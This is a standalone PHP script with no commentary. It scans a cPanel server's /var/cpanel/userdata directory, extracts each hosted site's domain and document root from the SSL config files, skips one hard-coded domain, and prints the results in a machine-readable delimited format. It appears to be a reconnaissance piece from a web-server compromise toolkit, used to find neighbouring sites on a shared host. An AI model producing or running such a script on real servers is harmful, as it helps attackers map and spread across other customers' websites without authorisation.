\x20\40\x20\40
<?php $r = "/var/cpanel/userdata"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'http://') === 0) { $domain = substr($domain, 7); $schema = 'http://'; } elseif (stripos($domain, 'https://') === 0) { $domain = substr($domain, 8); $schema = 'https://'; } else $schema = 'http://'; if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } if (strpos($domain, '/') !== false) { $split = explode('/', $domain, 2); $domain = $split[0]; } $again = $schema . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function scan_cpanel($p) { $existed = ["topekaskiclub.com"]; $c = file_get_contents($p); preg_match("/servername: (.*?)[\r\n]/", $c, $m); if (isset($m[1])) { $d = $m[1]; if (in_array($d, $existed, true)) { return false; } $d = is_valid_domain($d); preg_match("/documentroot: (.*?)[\r\n]/", $c, $n); if (isset($n[1])) { $p = $n[1]; } if ($p && $d) { print "<f>{$p}@@@{$d}@@@cpanel@@@{$p}</f>\n"; } } } function scan($path) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif (substr($file, -4) === '_SSL') { scan_cpanel($p); } } } } } scan($r); die('!ended!');